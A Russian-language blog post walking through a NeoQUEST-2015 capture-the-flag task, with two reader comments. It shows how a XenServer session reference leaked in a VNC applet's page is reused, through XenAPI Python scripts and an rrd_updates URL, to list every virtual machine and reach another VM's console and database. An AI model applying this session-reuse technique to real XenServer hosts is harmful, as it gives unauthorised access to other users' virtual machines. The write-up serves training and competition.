Совсем скоро, 11 марта, стартует online-этап ежегодного соревнования по кибербезопасности NeoQUEST-2016! В преддверии этого публикуем разбор одного из заданий «очной ставки» NeoQUEST-2015. Это задание под названием «Истина где-то рядом» было направлено на получение доступа ко всему облаку XenServer, имея доступ только лишь к одной виртуалке! Такой хак осуществим с помощью специального апплета, ранее используемого XenServer, позволяющего получить доступ по VNC к виртуальной машине.

Под катом опишем исходные данные для задания и расскажем, как можно было пройти это задание двумя способами:
  • используя XenAPI
  • используя Web



Исходные данные


Участники в описании задания получили IP-адрес, по которому находился сайт с большой кнопкой «Get Key». При её нажатии появлялась надпись, сообщающая, что были попытки подключения к двум серверам и попытки поиска ключа в базах данных этих серверов. Однако, как информировала та же надпись, подключиться удалось только к первому серверу, и ключ там не нашёлся…



Как видно, к серверу №1 удалось подсоединиться, и даже есть ссылка (слово «OK»). При переходе по ссылке должен запуститься апплет, но, поскольку современные браузеры плохо работают с апплетами, скорее всего, ничего не запустится.



Однако первая же ссылка в гугле говорит: «надо добавить сайт в разрешённый в настройках Java и перезапустить браузер»! Делаем…



После перезапуска браузера появляется окно «Secure Warning», в котором в поле «Publisher» написано Citrix System.



Запустив апплет, участник получал доступ к виртуальной машине. И здесь он должен был понять, что ему дают доступ к виртуальной машине, которая работает на базе продукта Citrix. Загуглив, какие бывают продукты у Citrix, можно предположить, что это XenServer. А чтобы быть до конца в этом уверенным, можно посмотреть на иконку сайта и там увидеть логотип XenServer.



На рабочем столе есть ярлык браузера Chrome, запустив который и открыв историю, можно найти обращение к «localhost/phpmyadmin». Перейдя по этому адресу, можно увидеть базу данных neoquest, в которой есть таблица key, но нет записей…



Виртуалка была одна на всех, и участники активно сражались за нее, отнимая друг у друга управление курсором мыши и мешая своим соперникам просматривать записи в базе данных!

Дальнейшие поиски ключа на этой виртуальной машине бесполезны, попытки найти ещё одну виртуальную машину в сети тоже не дадут результата (у второй виртуальной машины нет сетевого адаптера).

Посмотрев исходный код страницы с апплетом, находим код, отвечающий за его запуск:

<applet archive='/q.jar' id=vncapp code='com/xensource/ui/vnc/Initialize.class' width='950' height='720'>
    <PARAM NAME='SESSION' VALUE = 'OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971'/>
    <PARAM NAME='URL' VALUE ='https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'/>
    <PARAM NAME='USEURL' VALUE ='true'/>
</applet>


В запуске апплета для участника интересны два параметра: SESSION и URL. Из URL видно, что есть ещё один IP-адрес – 10.0.20.61. Заходим на этот IP в браузере и видим: «Citrix Systems, Inc. XenServer 6.2.0», что окончательно убеждает нас, что виртуалка работает на XenServer!

Теперь начинаем искать вторую виртуальную машину. Логично исходить из предположения, что доступ к ней осуществляется также через апплет, через параметр URL, а именно, через значение UUID. Поэтому для дальнейших экспериментов необходимо запустить апплет у себя. Самый простой способ для этого — сохранить html-страницу с апплетом (апплет надо скачать отдельно) и запустить у себя на веб-сервере.

Есть два способа получить значение UUID: через XenAPI или выполнить запрос к серверу через браузер. Рассмотрим оба эти способа по порядку.

Способ №1: используем XenAPI


Это было запланированное решение задания. Код будем писать на Python, для этого качаем SDK для XenServer и оттуда берём XenApi.py.
Нам необходимо получить список всех виртуальных машин, находящихся на сервере, а для них — список их консолей.

Загуглив, как получить список виртуальных машин, можно найти следующий код:

session = XenAPI.Session(xen_url)   
session.xenapi.login_with_password(xen_user, xen_pass)
vms = session.xenapi.VM.get_all()
print vms


Где xen_url — адрес сервера, в нашем случае «https://10.0.20.61», xen_user и xen_pass для нас недоступны, но у нас уже имеется значение установленной сессии. Можно попробовать вместо session.xenapi.VM.get_all() передать значение установленной сессии напрямую в метод в следующем виде: session.VM.get_all(ses). Тогда скрипт получения списка виртуальных машин будет иметь следующий вид:

import XenAPI
xen_url = "https://10.0.20.61"
session = XenAPI.Session(xen_url)
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
vms = session.VM.get_all(ses)
print vms


Результат выполнения этого скрипта будет выглядеть так:
{'Status': 'Success', 'Value': ['OpaqueRef:fed67a7d-74c2-3eeb-6a0d-e17348b5d68c', 'OpaqueRef:fdafee99-e69d-d6a8-6988-402bbac14215', 'OpaqueRef:fa649f83-3566-5734-9a25-fa236f6902af', 'OpaqueRef:f899e08e-7abc-032b-c098-f99ae5b4034a', 'OpaqueRef:f437e8ad-2e3c-edc5-81ae-207ac6c12079', 'OpaqueRef:ef635a0a-209f-469f-1ab8-c014ecf4b7a5', 'OpaqueRef:ef31abb6-cd3e-2f12-bf94-3041b53a1a36', 'OpaqueRef:ef129c0c-3dfc-9ead-d447-4c729a6d9b47', 'OpaqueRef:ed097922-b78c-a4e6-aa9a-1cf47cc9c499', 'OpaqueRef:ea183995-6c42-1cf2-6775-9a3a66493a4e', 'OpaqueRef:e894f069-7386-5327-ec44-33c83de477e7', 'OpaqueRef:e869d8d3-0238-253b-675c-8f04efa2db1d', 'OpaqueRef:e8135b8d-2564-2f48-0235-c1c6d4f539f0', 'OpaqueRef:e29608d0-802c-8920-a218-31907a28e2b5', 'OpaqueRef:df6a1b82-5642-cd9f-9272-39118d9e565f', 'OpaqueRef:dbeee2e5-7745-a1ba-49e6-de4b3a5b518f', 'OpaqueRef:da163722-77cf-88a1-76ef-a87fbb9a789f', 'OpaqueRef:d6f55333-028d-8e1c-efcc-d2a05a9a53c1', 'OpaqueRef:d32bc06b-74ea-8250-3314-1a9c42338b3b', 'OpaqueRef:ce95e498-5a6a-9076-785d-181843739e18', 'OpaqueRef:cb0498ee-a7ef-87e8-c292-488ff9b182c8', 'OpaqueRef:c8256666-2535-6f3e-3575-72ce28bf7943', 'OpaqueRef:c20d68a4-043f-6cd1-6465-170e61253ee0', 'OpaqueRef:bdceecb8-a079-0846-7fa1-a31cf9520b50', 'OpaqueRef:bcb3d8b8-f09c-edad-4cb8-82072121a57d', 'OpaqueRef:b7189aab-cf4e-ed42-a418-292c9d180614', 'OpaqueRef:b5d37caf-43bb-20eb-edde-9ecda9a90bbb', 'OpaqueRef:ae066542-4503-0d71-2303-95bdbb659944', 'OpaqueRef:a29c957f-4cb8-c085-65bb-5338022aeee5', 'OpaqueRef:9b14ce06-d7b3-57c5-88ce-89784b198dd8', 'OpaqueRef:914316c7-d608-e7d0-b230-f57282bcf16c', 'OpaqueRef:8efe10a7-668b-bc25-ce23-30a9a25232ee', 'OpaqueRef:8df82c5d-e207-6f92-bac2-1320912d39a8', 'OpaqueRef:8a2c1418-6136-dadb-a027-79be66ed5cd6', 'OpaqueRef:88fae098-d089-2d9d-972d-f133c6f03e2f', 'OpaqueRef:83287204-9e5d-660d-8793-571c629d081c', 'OpaqueRef:81d6cf4e-359f-70d0-e325-b8be22336443', 'OpaqueRef:7e2f80af-8251-72d9-0d7f-77aea039a4d7', 'OpaqueRef:79c5b589-7dfa-ffb8-28d8-bcb076d16118', 'OpaqueRef:79b8f10e-681b-f5f1-49fc-4fab533eb29b', 'OpaqueRef:745a3e34-93eb-e63a-f2e0-dffa998c5c55', 'OpaqueRef:6e3f4400-847d-ee72-bd00-5d20e30aa885', 'OpaqueRef:6bc1c54a-5e3c-f201-0d6c-1c41eee98b94', 'OpaqueRef:6b446900-6a4f-0ec1-7725-aa5419b029ad', 'OpaqueRef:64072816-6999-7d73-bfd9-3a854447fcdd', 'OpaqueRef:60f71cfd-92d0-aeaf-85be-4480eef18f7a', 'OpaqueRef:608662aa-18cc-caff-b04e-52b095975940', 'OpaqueRef:605bca5f-40b7-c970-7d00-99b3159854bf', 'OpaqueRef:54b2ab62-9c68-9fb0-e130-cc20c1d72df8', 'OpaqueRef:4f99e67d-aac8-eb83-c0d0-b8cecb2196df', 'OpaqueRef:48e705dd-44b1-0261-095a-30dd175b7ec5', 'OpaqueRef:429bdf24-7e41-76c6-7566-3bb5bcda6efa', 'OpaqueRef:3dfdb9b9-13d3-d5d2-86c1-0ac03d8bd835', 'OpaqueRef:3d7462c7-cea0-b3cd-8adb-62cc93ff7ae9', 'OpaqueRef:3cd87b61-0232-ad9b-48ac-43d8900e0cc5', 'OpaqueRef:37d8fdda-e7e1-9376-85ac-e067e4db44b0', 'OpaqueRef:35d6d056-dabe-b731-9264-e7c5a55531af', 'OpaqueRef:34ac3f38-2329-e069-a3db-14954c0d1ba7', 'OpaqueRef:31db143b-0e37-4a7b-5d3e-11d200691be4', 'OpaqueRef:31148d7b-64ee-0d5d-8992-53a53c0d796e', 'OpaqueRef:3062dc3a-4298-bf2d-6190-17e5c8287c9a', 'OpaqueRef:2a825824-253a-d6d9-a6a8-f8ee05b772c9', 'OpaqueRef:271ca619-f84c-71c2-6db8-8d0def4ca9e3', 'OpaqueRef:25fd4564-5107-78e0-4229-bbb9c1138b12', 'OpaqueRef:23c62832-a906-df73-fed8-eda112419160', 'OpaqueRef:1ef59c47-e9f1-87ad-83b7-de67e35e3d7f', 'OpaqueRef:1d027e36-2364-e5af-5144-49e6243fac94', 'OpaqueRef:107d38cd-be64-9894-73bc-534e435747f5', 'OpaqueRef:0d365a10-d9c3-c4b0-e2e4-51503736b4d5', 'OpaqueRef:06ec3fcb-6951-1fb4-a6b5-d48d0a51cd2c']}



Результат получился достаточно большим, и это не список виртуальных машин, а ссылки на них, поэтому логичнее продолжить написание скрипта, так, чтобы получить консоли. Для этого используем стандартную функцию API VM.get_consoles, в итоге получившийся скрипт имеет вид:

import XenAPI
xen_url = "https://10.0.20.61"
session = XenAPI.Session(xen_url)
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
vms = session.VM.get_all(ses)
for vm in vms['Value']:
    console = session.VM.get_consoles(ses,vm)
    print console


Результат выполнения скрипта:
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:f655d6a7-453f-7b4c-ad89-ccc438a8b5a0']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:fa451706-1715-1688-a440-e63d18b7b55a', 'OpaqueRef:70f202f8-ef56-275e-c17d-f7ff214a49f9']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:9a08367f-3740-a192-ff49-2bc151a485ce']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}



Результат опять достаточно большой, но большинство значений пустые, и, как в прошлый раз, это не сами консоли, а ссылки для них. Также есть виртуальные машины, где две ссылки для консоли. Для преобразования ссылки в значение, пригодное для апплета, используется функция console.get_location. Тогда скрипт имеет вид:

import XenAPI
xen_url = "https://10.0.20.61"
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
session = XenAPI.Session(xen_url)
vms = session.VM.get_all(ses)
for vm in vms['Value']:
    console = session.VM.get_consoles(ses,vm)
    for con in console['Value']:
        url = session.console.get_location(ses,con)
        print url


Результатом работы скрипта будет:

{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=1a9df134-6e10-22a5-6f99-2d1df8f2fc58'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=68d03d5d-d9cd-0b91-c61f-213f3a572582'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'}


Последние значение — такое же, как в поле URL, что подсказывает, что мы на правильном пути! Осталось проверить только 3 решения.

Способ №2: через Web

Второе решение гораздо проще и целиком основано на веб. Если загуглить «Xenserver OpaqueRef», то можно наткнуться на описание получения метрик производительности для Xenserver через RRD. Для получение части этих метрик необходимо знать только IP-адрес сервера и OpaqueRef. Так для получения всех метрик виртуальной машины надо знать UUID виртуальной машины «http:///vm_rrd?session_id=OpaqueRef:&uuid=», но для получения обновлений для всех виртуальных машин достаточно знать только OpaqueRef. Его мы получаем запросом «http:///rrd_updates?session_id=OpaqueRef:&start=10258122541». В нашем случае запрос будет иметь вид: «http://10.0.20.61/rrd_updates?session_id=OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971&start=10258122541».
В результате в браузере отобразится следующая xml:
<xport>
<meta>
<start>10258122545</start>
<step>5</step>
<end>1436505840</end>
<rows>0</rows>
<columns>26</columns>
<legend>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu3
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu2
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu1
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu0
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory_target
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:cpu0
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hdd_write
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hdd_read
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hda_write
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hda_read
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory_target
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif_0_tx
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif_0_rx
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory_internal_free
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:cpu0
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif_0_tx
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif_0_rx
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hdd_write
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hdd_read
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hda_write
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hda_read
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory_internal_free
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory_target
</entry>
</legend>
</meta>
<data/>
</xport>



Из этой xml можно получить 3 UUID: 4ac6b5b5-fb19-4874-b87a-c0da37f807cf, 11c607ae-c779-c9dd-6b5e-17fd4461defe, 362f5638-b9af-56e8-52dd-92f79267f6ef.
Хоть UUID и не совпадают с теми, что есть в задании, но они также подходят!

Конец задания

Дальше перебираем имеющиеся UUID или ссылки на имеющейся локальной копии сайта с апплетом. В случае с ссылкой, полученной через API, правильный результат будет — 10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219, а в случае с UUID — 11c607ae-c779-c9dd-6b5e-17fd4461defe. Мы попадаем на клон первой виртуальной машины, но в браузере почищена история. Однако мы помним, что там был phpmyadmin! Заходим на localhost/phpmyadmin, там такая же база – neoquest, с такой же таблицей – key, в которой и лежит ключ:



Таким образом, используя этот апплет, злоумышленник может «угнать» ваше облако XenServer!

А регистрация на NeoQUEST-2016 продолжается!

На NeoQUEST-2016 участников ждет множество интересных и разнообразных заданий, как сложных, так и довольно простых, пройти которые под силу даже новичкам в информационной безопасности. Выбирай свою сторону и регистрируйся!

Комментарии (2)


  1. celebrate
    01.03.2016 22:19

    "Таким образом, используя этот апплет, злоумышленник может «угнать» ваше облако XenServer!"
    Что имеется ввиду под "угнать"? Пользователь, имеющий доступ к одной своей виртуалке, может получить доступ к другим своим виртуалкам — это разве называется "угнать"?
    А так довольно интересное задание, да.


    1. re_sh
      01.03.2016 22:48

      Как я понимаю, здесь скорее имеется ввиду такая мысль. Если вы владелец инфраструктурного облака (IaaS) и дали одному из своих пользователей доступ таким образом к одной виртуалке, то он сможет получить доступ ко всем вашим остальным виртуалкам.